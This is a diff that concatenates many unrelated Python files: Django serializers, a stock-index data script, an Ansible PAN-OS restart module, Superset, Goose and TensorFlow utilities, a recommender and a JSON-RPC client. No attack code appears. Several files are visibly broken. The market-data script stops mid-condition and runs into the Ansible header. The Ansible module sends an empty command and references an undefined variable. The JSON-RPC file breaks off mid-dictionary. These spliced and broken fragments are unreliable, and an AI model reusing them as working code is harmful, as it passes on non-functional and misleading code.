SettingSerializer(serializers.ModelSerializer): + """ + Workout setting serializer + """ + + class Meta: + model = Setting + fields = [ + 'id', + 'set', + 'exercise', + 'repetition_unit', + 'reps', + 'weight', + 'weight_unit', + 'rir', + 'order', + 'comment', + ] + + +# +# Custom helper serializers for the canonical form of a workout +# +class MusclesCanonicalFormSerializer(serializers.Serializer): + """ + Serializer for the muscles in the canonical form of a day/workout + """ + front = serializers.ListField(child=MuscleSerializer()) + back = serializers.ListField(child=MuscleSerializer()) + frontsecondary = serializers.ListField(child=MuscleSerializer()) + backsecondary = serializers.ListField(child=MuscleSerializer()) + + +class WorkoutCanonicalFormExerciseImagesListSerializer(serializers.Serializer): + """ + Serializer for settings in the canonical form of a workout + """ + image = serializers.ReadOnlyField() + is_main = serializers.ReadOnlyField() + + +class WorkoutCanonicalFormExerciseListSerializer(serializers.Serializer): + """ + Serializer for settings in the canonical form of a workout + """ + setting_obj_list = SettingSerializer(many=True) + setting_list = serializers.ReadOnlyField() + setting_text = serializers.ReadOnlyField() + reps_list = serializers.ReadOnlyField() + has_weight = serializers.ReadOnlyField() + weight_list = serializers.ReadOnlyField() + comment_list = serializers.ReadOnlyField() + image_list = WorkoutCanonicalFormExerciseImagesListSerializer(many=True) + obj = ExerciseSerializer() + + +class WorkoutCanonicalFormExerciseSerializer(serializers.Serializer): + """ + Serializer for an exercise in the canonical form of a workout + """ + obj = SetSerializer() + exercise_list = WorkoutCanonicalFormExerciseListSerializer(many=True) + is_superset = serializers.BooleanField() + settings_computed = SettingSerializer(many=True) + muscles = MusclesCanonicalFormSerializer() + + +class DaysOfWeekCanonicalFormSerializer(serializers.Serializer): + """ + Serializer for a days of week in the canonical form of a workout + """ + text = serializers.ReadOnlyField() + day_list = serializers.ListField(child=DaysOfWeekSerializer()) + + +class DayCanonicalFormSerializer(serializers.Serializer): + """ + Serializer for a day in the canonical form of a workout + """ + obj = DaySerializer() + set_list = WorkoutCanonicalFormExerciseSerializer(many=True) + days_of_week = DaysOfWeekCanonicalFormSerializer() + muscles = MusclesCanonicalFormSerializer() + + +class WorkoutCanonicalFormSerializer(serializers.Serializer): + """ + Serializer for the canonical form of a workout + """ + obj = WorkoutSerializer() + day_list = DayCanonicalFormSerializer(many=True) + muscles = MusclesCanonicalFormSerializer() diff --git a/pool/shard008/Python/0079275_process_sh000300_daily.py b/pool/shard008/Python/0079275_process_sh000300_daily.py new file mode 100644 index 0000000000000000000000000000000000000000..5e72c25ece4067bf3942449a6a5082d71bf3657e --- /dev/null +++ b/pool/shard008/Python/0079275_process_sh000300_daily.py @@ -0,0 +1,62 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +import os; +import sys; +import datetime; +import string; +import shutil; + +START_TIME='09:40:00'; +END_TIME='14:55:00'; + +if len(sys.argv) != 3: + print 'Usage: ./cmd src_md_dir dest_dir '; + quit(); + +src_md_path = sys.argv[1]; +dest_dir = sys.argv[2]; +from_date_dir = datetime.date.today().strftime('%Y%m%d'); +to_date_dir = from_date_dir; +date_dir = from_date_dir; +while date_dir <= to_date_dir: + if not os.path.exists(src_md_path+'/'+date_dir): + date_dir = (datetime.datetime.strptime(date_dir,'%Y%m%d')+datetime.timedelta(1)).strftime('%Y%m%d'); + continue; + dest_daily_dir = dest_dir+'/'+date_dir; + if not os.path.exists(dest_daily_dir): + os.mkdir(dest_daily_dir); + daily_md_path = src_md_path+'/'+date_dir; + daily_md_list = os.listdir(daily_md_path); + sh000300_file = ""; + for daily_md_file in daily_md_list: + if daily_md_file.find('sh000300')>=0: + sh000300_file = daily_md_file; + break; + if len(sh000300_file) == 0: + date_dir = (datetime.datetime.strptime(date_dir,'%Y%m%d')+datetime.timedelta(1)).strftime('%Y%m%d'); + continue; + src_file_path = daily_md_path+'/'+daily_md_file; + src_fp = open(src_file_path, 'r'); + md_lines = src_fp.readlines(); + if len(md_lines) <=1: + date_dir = (datetime.datetime.strptime(date_dir,'%Y%m%d')+datetime.timedelta(1)).strftime('%Y%m%d'); + src_fp.close(); + continue; + begin_line = md_lines[1]; + close_line = md_lines[-1]; + begin_line_list = begin_line.split(','); + close_line_list = close_line.split(','); + if begin_line_list[0]>START_TIME or close_line_list[0] +# +# This file is part of Ansible +# +# Ansible is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# Ansible is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Ansible. If not, see . + +DOCUMENTATION = ''' +--- +module: panos_restart +short_description: restart a device +description: + - Restart a device +author: "Luigi Mori (@jtschichold), Ivan Bojer (@ivanbojer)" +version_added: "2.3" +requirements: + - pan-python +options: + ip_address: + description: + - IP address (or hostname) of PAN-OS device + required: true + password: + description: + - password for authentication + required: true + username: + description: + - username for authentication + required: false + default: "admin" +''' + +EXAMPLES = ''' +- panos_restart: + ip_address: "192.168.1.1" + username: "admin" + password: "admin" +''' + +RETURN = ''' +status: + description: success status + returned: success + type: string + sample: "okey dokey" +''' + +ANSIBLE_METADATA = {'metadata_version': '1.0', + 'status': ['preview'], + 'supported_by': 'community'} + + +from ansible.module_utils.basic import AnsibleModule +import sys + +try: + import pan.xapi + HAS_LIB = True +except ImportError: + HAS_LIB = False + +def main(): + argument_spec = dict( + ip_address=dict(), + password=dict(no_log=True), + username=dict(default='admin') + ) + module = AnsibleModule(argument_spec=argument_spec, supports_check_mode=False) + + if not HAS_LIB: + module.fail_json(msg='pan-python required for this module') + + ip_address = module.params["ip_address"] + if not ip_address: + module.fail_json(msg="ip_address should be specified") + password = module.params["password"] + if not password: + module.fail_json(msg="password is required") + username = module.params['username'] + + xapi = pan.xapi.PanXapi( + hostname=ip_address, + api_username=username, + api_password=password + ) + + try: + xapi.op(cmd="") + except Exception: + x = sys.exc_info()[1] + if 'succeeded' in str(x): + module.exit_json(changed=True, msg=str(msg)) + else: + module.fail_json(msg=x) + raise + + module.exit_json(changed=True, msg="okey dokey") + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0079285_manage.py b/pool/shard008/Python/0079285_manage.py new file mode 100644 index 0000000000000000000000000000000000000000..6efec09405f94f2f49504f7bdc9497efe7f81a96 --- /dev/null +++ b/pool/shard008/Python/0079285_manage.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python +import os +import sys + +if __name__ == '__main__': + os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'config.settings.local') + + try: + from django.core.management import execute_from_command_line + except ImportError: + # The above import may fail for some other reason. Ensure that the + # issue is really that Django is missing to avoid masking other + # exceptions on Python 2. + try: + import django # noqa + except ImportError: + raise ImportError( + "Couldn't import Django. Are you sure it's installed and " + "available on your PYTHONPATH environment variable? Did you " + "forget to activate a virtual environment?" + ) + raise + + # This allows easy placement of apps within the interior + # mhn_interface directory. + current_path = os.path.dirname(os.path.abspath(__file__)) + sys.path.append(os.path.join(current_path, 'mhn_interface')) + + execute_from_command_line(sys.argv) diff --git a/pool/shard008/Python/0079289_mongodb_objectid.py b/pool/shard008/Python/0079289_mongodb_objectid.py new file mode 100644 index 0000000000000000000000000000000000000000..6843846c33df61d2e388a692c88332e908eb70bf --- /dev/null +++ b/pool/shard008/Python/0079289_mongodb_objectid.py @@ -0,0 +1,19 @@ +import re +from datetime import datetime + +REGEX = re.compile(r'^[a-f\d]{24}$') + + +class Mongo(object): + @classmethod + def is_valid(cls, object_id): + try: + return bool(REGEX.match(object_id)) + except TypeError: + return False + + @classmethod + def get_timestamp(cls, object_id): + if cls.is_valid(object_id): + return datetime.utcfromtimestamp(int(object_id[:8], 16)) + return False diff --git a/pool/shard008/Python/0079292_configuration.py b/pool/shard008/Python/0079292_configuration.py new file mode 100644 index 0000000000000000000000000000000000000000..9fdde86b2c3f3893c27114cbcc052c751c39860a --- /dev/null +++ b/pool/shard008/Python/0079292_configuration.py @@ -0,0 +1,109 @@ +# -*- coding: utf-8 -*- +"""\ +This is a python port of "Goose" orignialy licensed to Gravity.com +under one or more contributor license agreements. See the NOTICE file +distributed with this work for additional information +regarding copyright ownership. + +Python port was written by Xavier Grangier for Recrutae + +Gravity.com licenses this file +to you under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance +with the License. You may obtain a copy of the License at + +http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +""" +import os +import tempfile +from goose.text import StopWords +from goose.parsers import Parser +from goose.parsers import ParserSoup +from goose.version import __version__ + +HTTP_DEFAULT_TIMEOUT = 30 + + +class Configuration(object): + + def __init__(self): + # What's the minimum bytes for an image we'd accept is, + # alot of times we want to filter out the author's little images + # in the beginning of the article + self.images_min_bytes = 4500 + + # set this guy to false if you don't care about getting images, + # otherwise you can either use the default + # image extractor to implement the ImageExtractor + # interface to build your own + self.enable_image_fetching = True + + # set this valriable to False if you want to force + # the article language. OtherWise it will attempt to + # find meta language and use the correct stopwords dictionary + self.use_meta_language = True + + # default language + # it will be use as fallback + # if use_meta_language is set to false, targetlanguage will + # be use + self.target_language = 'en' + + # defautl stopwrods class + self.stopwords_class = StopWords + + # path to your imagemagick convert executable, + # on the mac using mac ports this is the default listed + self.imagemagick_convert_path = "/opt/local/bin/convert" + + # path to your imagemagick identify executable + self.imagemagick_identify_path = "/opt/local/bin/identify" + + # used as the user agent that + # is sent with your web requests to extract an article + self.browser_user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2)"\ + " AppleWebKit/534.52.7 (KHTML, like Gecko) "\ + "Version/5.1.2 Safari/534.52.7" + #self.browser_user_agent = 'Goose/%s' % __version__ + + # debug mode + # enable this to have additional debugging information + # sent to stdout + self.debug = False + + # TODO + self.extract_publishdate = None + + # TODO + self.additional_data_extractor = None + + # Parser type + self.parser_class = 'lxml' + + # set the local storage path + # make this configurable + self.local_storage_path = os.path.join(tempfile.gettempdir(), 'goose') + + # http timeout + self.http_timeout = HTTP_DEFAULT_TIMEOUT + + def get_parser(self): + return Parser if self.parser_class == 'lxml' else ParserSoup + + def get_additionaldata_extractor(self): + return self.additional_data_extractor + + def set_additionaldata_extractor(self, extractor): + """\ + Pass in to extract any additional data not defined within + @param extractor a concrete instance of AdditionalDataExtractor + """ + if not extractor: + raise ValueError("extractor must not be null!") + self.additional_data_extractor = extractor diff --git a/pool/shard008/Python/0079299_mcp3008Current.py b/pool/shard008/Python/0079299_mcp3008Current.py new file mode 100644 index 0000000000000000000000000000000000000000..aa044b011ab943fa9086953bcaddd6ffd3ddaae1 --- /dev/null +++ b/pool/shard008/Python/0079299_mcp3008Current.py @@ -0,0 +1,37 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +# mcp3008Current.py - read an SCT013 on CH0 of an MCP3008 on a Raspberry Pi +# mostly nicked from +# http://jeremyblythe.blogspot.ca/2012/09/raspberry-pi-hardware-spi-analog-inputs.html + +import spidev +import time +debug = True + +spi = spidev.SpiDev() +spi.open(0, 0) + +def readadc(adcnum): + # read SPI data from MCP3008 chip, 8 possible adc's (0 thru 7) + if adcnum > 7 or adcnum < 0: + return -1 + r = spi.xfer2([1, 8 + adcnum << 4, 0]) + adcout = ((r[1] & 3) << 8) + r[2] + return adcout + +i = 0 +amps = 0.0 +value = 0 +vero = True +while vero: + if i % 1000 == 0 and i != 0: + val = abs(amps/1000.0 - 1022.0) + if val > 40: + print "%s W" % int((40 + 3 * (val -40))) + else: + print "%s W" % int((val * 1.5)) + amps = 0 + i = 0 + value = readadc(0) + amps += value + i +=1 diff --git a/pool/shard008/Python/0079302_connector_registry.py b/pool/shard008/Python/0079302_connector_registry.py new file mode 100644 index 0000000000000000000000000000000000000000..86081cd1b539b9118c7817d1c9fb9e07df072b3c --- /dev/null +++ b/pool/shard008/Python/0079302_connector_registry.py @@ -0,0 +1,165 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +from typing import Dict, List, Optional, Set, Type, TYPE_CHECKING + +from flask_babel import _ +from sqlalchemy import or_ +from sqlalchemy.orm import Session, subqueryload +from sqlalchemy.orm.exc import NoResultFound + +from superset.datasets.commands.exceptions import DatasetNotFoundError + +if TYPE_CHECKING: + from collections import OrderedDict + + from superset.connectors.base.models import BaseDatasource + from superset.models.core import Database + + +class ConnectorRegistry: + """ Central Registry for all available datasource engines""" + + sources: Dict[str, Type["BaseDatasource"]] = {} + + @classmethod + def register_sources(cls, datasource_config: "OrderedDict[str, List[str]]") -> None: + for module_name, class_names in datasource_config.items(): + class_names = [str(s) for s in class_names] + module_obj = __import__(module_name, fromlist=class_names) + for class_name in class_names: + source_class = getattr(module_obj, class_name) + cls.sources[source_class.type] = source_class + + @classmethod + def get_datasource( + cls, datasource_type: str, datasource_id: int, session: Session + ) -> "BaseDatasource": + """Safely get a datasource instance, raises `DatasetNotFoundError` if + `datasource_type` is not registered or `datasource_id` does not + exist.""" + if datasource_type not in cls.sources: + raise DatasetNotFoundError() + + datasource = ( + session.query(cls.sources[datasource_type]) + .filter_by(id=datasource_id) + .one_or_none() + ) + + if not datasource: + raise DatasetNotFoundError() + + return datasource + + @classmethod + def get_all_datasources(cls, session: Session) -> List["BaseDatasource"]: + datasources: List["BaseDatasource"] = [] + for source_type in ConnectorRegistry.sources: + source_class = ConnectorRegistry.sources[source_type] + qry = session.query(source_class) + qry = source_class.default_query(qry) + datasources.extend(qry.all()) + return datasources + + @classmethod + def get_datasource_by_id( # pylint: disable=too-many-arguments + cls, session: Session, datasource_id: int, + ) -> "BaseDatasource": + """ + Find a datasource instance based on the unique id. + + :param session: Session to use + :param datasource_id: unique id of datasource + :return: Datasource corresponding to the id + :raises NoResultFound: if no datasource is found corresponding to the id + """ + for datasource_class in ConnectorRegistry.sources.values(): + try: + return ( + session.query(datasource_class) + .filter(datasource_class.id == datasource_id) + .one() + ) + except NoResultFound: + # proceed to next datasource type + pass + raise NoResultFound(_("Datasource id not found: %(id)s", id=datasource_id)) + + @classmethod + def get_datasource_by_name( # pylint: disable=too-many-arguments + cls, + session: Session, + datasource_type: str, + datasource_name: str, + schema: str, + database_name: str, + ) -> Optional["BaseDatasource"]: + datasource_class = ConnectorRegistry.sources[datasource_type] + return datasource_class.get_datasource_by_name( + session, datasource_name, schema, database_name + ) + + @classmethod + def query_datasources_by_permissions( # pylint: disable=invalid-name + cls, + session: Session, + database: "Database", + permissions: Set[str], + schema_perms: Set[str], + ) -> List["BaseDatasource"]: + # TODO(bogdan): add unit test + datasource_class = ConnectorRegistry.sources[database.type] + return ( + session.query(datasource_class) + .filter_by(database_id=database.id) + .filter( + or_( + datasource_class.perm.in_(permissions), + datasource_class.schema_perm.in_(schema_perms), + ) + ) + .all() + ) + + @classmethod + def get_eager_datasource( + cls, session: Session, datasource_type: str, datasource_id: int + ) -> "BaseDatasource": + """Returns datasource with columns and metrics.""" + datasource_class = ConnectorRegistry.sources[datasource_type] + return ( + session.query(datasource_class) + .options( + subqueryload(datasource_class.columns), + subqueryload(datasource_class.metrics), + ) + .filter_by(id=datasource_id) + .one() + ) + + @classmethod + def query_datasources_by_name( + cls, + session: Session, + database: "Database", + datasource_name: str, + schema: Optional[str] = None, + ) -> List["BaseDatasource"]: + datasource_class = ConnectorRegistry.sources[database.type] + return datasource_class.query_datasources_by_name( + session, database, datasource_name, schema=schema + ) diff --git a/pool/shard008/Python/0079303_resource_test.py b/pool/shard008/Python/0079303_resource_test.py new file mode 100644 index 0000000000000000000000000000000000000000..0f785eefe1b1d2acbb982f7c067a8c4f0bed72ff --- /dev/null +++ b/pool/shard008/Python/0079303_resource_test.py @@ -0,0 +1,64 @@ +import unittest +from octopusapi import Resource, Field, OctopusApp +import config +import falcon +import requests +import thread +import json + + +def start_api(): + fields = [] + fields.append(Field(name='serialNumber', type='string', description='Device serial number')) + fields.append(Field(name='activationLocation', type='string', description='Activation Location')) + + def get(request, response): + response.body = 'get received' + response.status = falcon.HTTP_200 + + def put(request, response): + response.body = 'put received' + response.status = falcon.HTTP_200 + + def post(request, response): + response.body = 'post received' + response.status = falcon.HTTP_201 + + order = Resource('order', fields, get=get, put=put, post=post) + + app = OctopusApp('test', [order], config) + app.run_server() + +thread.start_new_thread(start_api, () ) + +class Test(unittest.TestCase): + def test_should_return_200_get(self): + response = requests.get('http://127.0.0.1:8000/test/order') + self.assertEqual(response.status_code, 200) + + def test_should_return_200_put(self): + response = requests.put('http://127.0.0.1:8000/test/order') + self.assertEqual(response.status_code, 200) + + def test_should_return_404(self): + response = requests.get('http://127.0.0.1:8000/test/order2') + self.assertEqual(response.status_code, 404) + + def test_should_return_405(self): + response = requests.delete('http://127.0.0.1:8000/test/order') + self.assertEqual(response.status_code, 405) + + def test_should_return_400(self): + payload = json.dumps({'order':{'serialNumber':'12'}}) + headers = {'Content-type':'application/json'} + response = requests.post('http://127.0.0.1:8000/test/order', data=payload, headers=headers) + self.assertEqual(response.status_code, 400) + + def test_should_return_201(self): + payload = json.dumps({'order':{'serialNumber':'12', 'activationLocation':'ss'}}) + headers = {'Content-type':'application/json'} + response = requests.post('http://127.0.0.1:8000/test/order', data=payload, headers=headers) + self.assertEqual(response.status_code, 201) + +if __name__ == '__main__': + unittest.main() \ No newline at end of file diff --git a/pool/shard008/Python/0079308_mail_out_survey_links.py b/pool/shard008/Python/0079308_mail_out_survey_links.py new file mode 100644 index 0000000000000000000000000000000000000000..1147a38f0c3aaa18efad641a79df44088d835bf1 --- /dev/null +++ b/pool/shard008/Python/0079308_mail_out_survey_links.py @@ -0,0 +1,35 @@ +from django.conf import settings +from django.contrib.sites.models import Site +from django.core.mail import EmailMessage +from django.core.management.base import BaseCommand +from django.template.loader import render_to_string + +from ...models import Survey, WaitingListEntry + + +class Command(BaseCommand): + + help = "Email links to survey instances for those that never saw a survey" + + def handle(self, *args, **options): + survey = Survey.objects.get(active=True) + entries = WaitingListEntry.objects.filter(surveyinstance__isnull=True) + + for entry in entries: + instance = survey.instances.create(entry=entry) + site = Site.objects.get_current() + protocol = getattr(settings, "DEFAULT_HTTP_PROTOCOL", "http") + ctx = { + "instance": instance, + "site": site, + "protocol": protocol, + } + subject = render_to_string("pinax/waitinglist/survey_invite_subject.txt", ctx) + subject = subject.strip() + message = render_to_string("pinax/waitinglist/survey_invite_body.txt", ctx) + EmailMessage( + subject, + message, + to=[entry.email], + from_email=settings.WAITINGLIST_SURVEY_INVITE_FROM_EMAIL + ).send() diff --git a/pool/shard008/Python/0079316_encryption_key.py b/pool/shard008/Python/0079316_encryption_key.py new file mode 100644 index 0000000000000000000000000000000000000000..232c284bd7f1838f53f2ec25fca54c81b106a9b9 --- /dev/null +++ b/pool/shard008/Python/0079316_encryption_key.py @@ -0,0 +1,54 @@ +from pyow.casc import CASCManager +from pyow.dll_loader import load_dll +from pyow.owtypes import STUDType + +load_dll() + +# noinspection PyUnresolvedReferences +from System.IO import Stream +# noinspection PyUnresolvedReferences +from OWLib import STUD + + +class OWEncryptionKey(STUDType): + def __init__(self, stream: Stream, man: CASCManager): + super().__init__(stream, man) + + self.key = None + self.key_name_text = None + self.key_value_text = None + + self.key_value = None + self.key_name = None + + self.stud = STUD(stream) + + if self.stud.Instances is None or self.stud.Instances[0] is None: + return + + key = self.stud.Instances[0] + self.key = key + + self.key_name_text = key.KeyNameText + self.key_value_text = key.KeyValueText + + self.key_name = list(key.KeyName) + self.key_value = list(key.KeyValue) + + def __repr__(self): + return '<{}: {}:{}>'.format(self.__class__.__name__, self.key_name_text, self.key_value_text) + + +if __name__ == '__main__': + from manager import OVERWATCH_DIR + from pyow.casc import BLTEDecoderException + + manager = CASCManager(OVERWATCH_DIR) + for ek_file in manager.get_files_by_pattern('*.090'): + try: + ek = OWEncryptionKey.from_casc(ek_file, manager) + except BLTEDecoderException as e: + print(e, ek_file) + else: + print(ek) + ek.dispose() diff --git a/pool/shard008/Python/0079317_evaluate_model.py b/pool/shard008/Python/0079317_evaluate_model.py new file mode 100644 index 0000000000000000000000000000000000000000..9e5df39bbd36729aba429eea865c244b371879a6 --- /dev/null +++ b/pool/shard008/Python/0079317_evaluate_model.py @@ -0,0 +1,159 @@ +import tensorflow as tf +import matplotlib.pyplot as plt +import tensorflow.contrib.slim as slim +import numpy as np +import math +from preparedata import PrepareData +from nets.ssd import g_ssd_model +import tf_extended as tfe +import time +from postprocessingdata import g_post_processing_data +import argparse + +class EvaluateModel(PrepareData): + def __init__(self): + PrepareData.__init__(self) + + + self.batch_size = 32 + self.labels_offset = 0 + self.eval_image_size = None + self.preprocessing_name = None + self.model_name = 'inception_v3' + + self.num_preprocessing_threads = 4 + + self.checkpoint_path = None + self.eval_dir = None + + + return + + + def __setup_eval(self): + tf.logging.set_verbosity(tf.logging.INFO) + _ = slim.get_or_create_global_step() + + if self.eval_during_training: + gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.01) + + else: + gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.9) + + if self.eval_train: + image, _, glabels,gbboxes,gdifficults, _, _, _ = self.get_voc_2007_train_data(is_training_data=False) + self.eval_dir = './logs/evals/train_data' + else: + image, _, glabels,gbboxes,gdifficults, _, _, _ = self.get_voc_2007_test_data() + self.eval_dir = './logs/evals/test_data' + + + + + #get model outputs + predictions, localisations, logits, end_points = g_ssd_model.get_model(image) + + + +# print_mAP_07_op, print_mAP_12_op = g_post_processing_data.get_mAP_tf_current_batch(predictions, localisations, glabels, gbboxes, gdifficults) + + names_to_updates = g_post_processing_data.get_mAP_tf_accumulative(predictions, localisations, glabels, gbboxes, gdifficults) +# print_filename_op = tf.Print(filename, [filename], "input images: ") + + variables_to_restore = slim.get_variables_to_restore() + + num_batches = math.ceil(self.dataset.num_samples / float(self.batch_size)) + + + config = tf.ConfigProto(log_device_placement=False, + gpu_options=gpu_options) + + + if not self.eval_loop: + # Standard evaluation loop. + print("one time evaluate...") + if tf.gfile.IsDirectory(self.checkpoint_path): + checkpoint_file = tf.train.latest_checkpoint(self.checkpoint_path) + else: + checkpoint_file = self.checkpoint_path + tf.logging.info('Evaluating %s' % checkpoint_file) + start = time.time() + slim.evaluation.evaluate_once( + master='', + checkpoint_path=checkpoint_file, + logdir=self.eval_dir, + num_evals=num_batches, + eval_op=list(names_to_updates.values()) , + session_config=config, + variables_to_restore=variables_to_restore) + # Log time spent. + elapsed = time.time() + elapsed = elapsed - start + print('Time spent : %.3f seconds.' % elapsed) + print('Time spent per BATCH: %.3f seconds.' % (elapsed / num_batches)) + else: + print("evaluate during training...") + # Waiting loop. + slim.evaluation.evaluation_loop( + master='', + checkpoint_dir=self.checkpoint_path, + logdir=self.eval_dir, + num_evals=num_batches, + eval_op=list(names_to_updates.values()), + variables_to_restore=variables_to_restore, + eval_interval_secs=60*60*2, + session_config=config, + max_number_of_evaluations=np.inf, + timeout=None) + + + + + + + + return + def parse_param(self): + parser = argparse.ArgumentParser() + parser.add_argument('-f', '--finetune', help='whether use checkpoints under finetune folder', action='store_true') + parser.add_argument('-s', '--simul', help='evaluate when training is onging', action='store_true') + parser.add_argument('-t', '--train', help='evaluate aginst train dataset', action='store_true') + parser.add_argument('-l', '--loop', help='evaluate checkpoints by loops', action='store_true') + parser.add_argument('-c', '--checkpoint', help='evaluate a specific checkpoint', default="") + args = parser.parse_args() + + self.checkpoint_path = './logs/' + self.finetune = args.finetune + if args.finetune: + self.checkpoint_path = './logs/finetune/' + if args.checkpoint != "": + self.checkpoint_path = args.checkpoint + + self.eval_during_training = args.simul + self.eval_train = args.train + self.eval_loop = args.loop + + return + + + def run(self): + self.parse_param() + + if self.eval_during_training: + self.batch_size = 16 + #To evaluate while trainin going on + with tf.device('/device:CPU:0'): + self.__setup_eval() + else: + self.__setup_eval() + + + + return + + + + +if __name__ == "__main__": + obj= EvaluateModel() + obj.run() \ No newline at end of file diff --git a/pool/shard008/Python/0079319_recommend.py b/pool/shard008/Python/0079319_recommend.py new file mode 100644 index 0000000000000000000000000000000000000000..afaf94f0b90eb47089f0ea004702bb23c13f6317 --- /dev/null +++ b/pool/shard008/Python/0079319_recommend.py @@ -0,0 +1,72 @@ +from math import sqrt + + +def convert_product_id_to_name(id): + """ + Given product id number, return product name + """ + product_id_to_name = {} + if id in product_id_to_name: + return product_id_to_name[id] + else: + return id + + +def cosine_similarity(rating1, rating2): + dot_product = 0 + length_of_vector_x = 0 + length_of_vector_y = 0 + for key in rating1: + if key in rating2: + dot_product += (rating1[key] * rating2[key]) + length_of_vector_x += pow(rating1[key], 2) + length_of_vector_y += pow(rating2[key], 2) + if dot_product == 0 or length_of_vector_x == 0 or length_of_vector_y == 0: + return 0 + else: + return dot_product / ((sqrt(length_of_vector_x)) * sqrt(length_of_vector_y)) + + +def compute_nearest_neighbor(username): + """ + Creates a sorted list of users based on their distance to the username + """ + distances = [] + for instance in users: + if instance != username: + distance = cosine_similarity(users[username], users[instance]) + distances.append((instance, distance)) + distances.sort(key=lambda artist_tuple: artist_tuple[1], reverse=True) + return distances + + +def recommend(user): + """Give list of recommendations""" + user = user + k_nearest_neighbor_value = 3 + recommendations = {} + nearest_neighbors = compute_nearest_neighbor(user) + # now get the ratings for the user + user_ratings = users[user] + # determine the total distance + total_distance = 0.0 + for i in range(k_nearest_neighbor_value): + total_distance += nearest_neighbors[i][1] + # Iterate through the k nearest neighbors accumulating their ratings + for i in range(k_nearest_neighbor_value): + weight = nearest_neighbors[i][1] / total_distance + nearest_neighbor_name = nearest_neighbors[i][0] + nearest_neighbor_ratings = users[nearest_neighbor_name] + # now find bands neighbor rated that user didn't + for neighbor in nearest_neighbor_ratings: + if not neighbor in user_ratings: + if neighbor not in recommendations: + recommendations[neighbor] = (nearest_neighbor_ratings[neighbor] * weight) + else: + recommendations[neighbor] = (recommendations[neighbor] + nearest_neighbor_ratings[neighbor] * weight) + # now make list from dictionary + recommendations = list(recommendations.items()) + recommendations = [(convert_product_id_to_name(k), v) for (k, v) in recommendations] + # finally sort and return + recommendations.sort(key=lambda neighborTuple: neighborTuple[1], reverse=True) + return recommendations diff --git a/pool/shard008/Python/0079326_JSONService.py b/pool/shard008/Python/0079326_JSONService.py new file mode 100644 index 0000000000000000000000000000000000000000..efb1e19a1ae3fde86df2277ed27c3dcf3e148508 --- /dev/null +++ b/pool/shard008/Python/0079326_JSONService.py @@ -0,0 +1,257 @@ +# Check http://json-rpc.org/wiki for the sepcification of JSON-RPC +# Currently: +# http://groups.google.com/group/json-rpc/web/json-rpc-1-1-wd +# http://groups.google.com/group/json-rpc/web/json-rpc-1-2-proposal + + +""" JSONService is a module providing JSON RPC Client side proxying. +""" + +import sys +from HTTPRequest import HTTPRequest + +try: + from jsonrpc.json import dumps, loads, JSONDecodeException +except ImportError: + from pyjamas.JSONParser import JSONParser + parser = JSONParser() + dumps = getattr(parser, 'encode') + loads = getattr(parser, 'decodeAsObject') + JSONDecodeException = None + + +class JSONServiceError(Exception): + pass + +__requestID = 0 +__requestIDPrefix = 'ID' +__lastRequestID = None +def nextRequestID(): + """ + Return Next Request identifier. + MUST be a JSON scalar (String, Number, True, False), but SHOULD normally + not be Null, and Numbers SHOULD NOT contain fractional parts. + """ + global __requestID, __requestIDPrefix, __lastRequestID + __requestID += 1 + id = "%s%s" % (__requestIDPrefix, __requestID) + if __lastRequestID == id: + # javascript integer resolution problem + __requestIDPrefix += '_' + __requestID = 0 + id = "%s%s" % (__requestIDPrefix, __requestID) + __lastRequestID = id + return id + +# no stream support +class JSONService(object): + def __init__(self, url, handler=None, headers=None): + """ + Create a JSON remote service object. The url is the URL that will + receive POST data with the JSON request. See the JSON-RPC spec for + more information. + + The handler object should implement + onRemoteResponse(value, requestInfo) + to accept the return value of the remote method, and + onRemoteError(code, error_dict, requestInfo) + code = http-code or 0 + error_dict is an jsonrpc 2.0 error dict: + { + 'code': jsonrpc-error-code (integer) , + 'message': jsonrpc-error-message (string) , + 'data' : extra-error-data + } + to handle errors. + """ + self.url = url + self.handler = handler + self.headers = headers if headers is not None else {} + if not self.headers.get("Accept"): + self.headers["Accept"] = "application/json" + + def callMethod(self, method, params, handler = None): + if handler is None: + handler = self.handler + + if handler is None: + return self.sendNotify(method, params) + else: + return self.sendRequest(method, params, handler) + + def onCompletion(self, response): + pass + + def sendNotify(self, method, params): + # jsonrpc: A String specifying the version of the JSON-RPC protocol. + # MUST be exactly "2.0" + # If jsonrpc is missing, the server MAY handle the Request as + # JSON-RPC V1.0-Request. + # version: String specifying the version of the JSON-RPC protocol. + # MUST be exactly "1.1" + # NOTE: We send both, to indicate that we can handle both. + # + # id: If omitted, the Request is a Notification + # NOTE: JSON-RPC 1.0 uses an id of Null for Notifications. + # method: A String containing the name of the procedure to be invoked. + # params: An Array or Object, that holds the actual parameter values + # for the invocation of the procedure. Can be omitted if + # empty. + # NOTE: JSON-RPC 1.0 only a non-empty Array is used + # From the spec of 1.1: + # The Content-Type MUST be specified and # SHOULD read + # application/json. + # The Accept MUST be specified and SHOULD read application/json. + # + msg = {"jsonrpc": "2.0", + "version": "1.1", + "method": method, + "params": params + 